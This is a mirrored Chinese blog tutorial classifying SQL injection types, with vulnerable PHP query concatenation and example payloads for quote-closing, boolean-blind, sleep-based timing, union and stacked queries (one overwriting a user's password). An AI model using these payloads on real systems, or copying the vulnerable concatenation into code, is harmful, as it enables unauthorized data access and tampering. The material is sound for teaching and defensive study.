zoukankan      html  css  js  c++  java
  • [sql 注入] 注入类型

    基于整型的注入:

    url:http://localhost/?id=12
    拼接sql:$sql = "select * from user where id = {$_GET['id']}";
    sql执行语句:select * from user where id = 12
    基于整型的sql注入即存在sql注入漏洞的url参数为整数类型,sql语句中参数值两边没有引号。


    基于字符型的注入:

    url:http://localhost/?name=jackWan
    拼接sql:$sql = "select * from user where name = '{$_GET['name']}'";
    sql执行语句:select * from user where name = 'jackWan'
    sql语句中参数值两边带有引号,攻击向量就要闭合该引号(?name=' or 1=1)。

    布尔型注入:

    length()返回字符串的存储长度
    char_length()返回字符串的字符个数
    left(str, len), right(str, len) 返回最左(右)边的len长度的子串
    database() 返回当前数据库名
    判断当前数据库名的前两个字符是否比'na'大(比较ascii码):
    select * from user where id = 1 and left(database(),2) > 'na';

    时间延迟注入:

    if(condition,A,B)若condition为真时返回A,否则返回B
    当前数据库名的长度若为4则休眠10秒:
    select * from user where id = 1 and if(char_length(database())=4,sleep(10),1)

    报错型注入:

    http://www.cnblogs.com/natian-ws/p/7204806.html

    联合查询注入:

    select * from user where id = 1 union select * from user_info

    多语句查询注入:

    select * from user where id = 1; update user set password = '123456' where id = 1
  • 相关阅读:
    HDU 2188 悼念512汶川大地震遇难同胞——选拔志愿者
    博弈论小结
    HDU 2149 Public Sale
    有上下界限制的网络流-总结
    loj #117. 有源汇有上下界最小流
    jquery中not的用法[.not(selector)]
    Assert随笔
    Maps.newHashMapWithExpectedSize(2)
    java1.8操作日期
    控制input只输入数字--- onkeyup="value=value.replace(/[^d]/g,'')"
  • 原文地址:https://www.cnblogs.com/natian-ws/p/7766768.html
Copyright © 2011-2022 走看看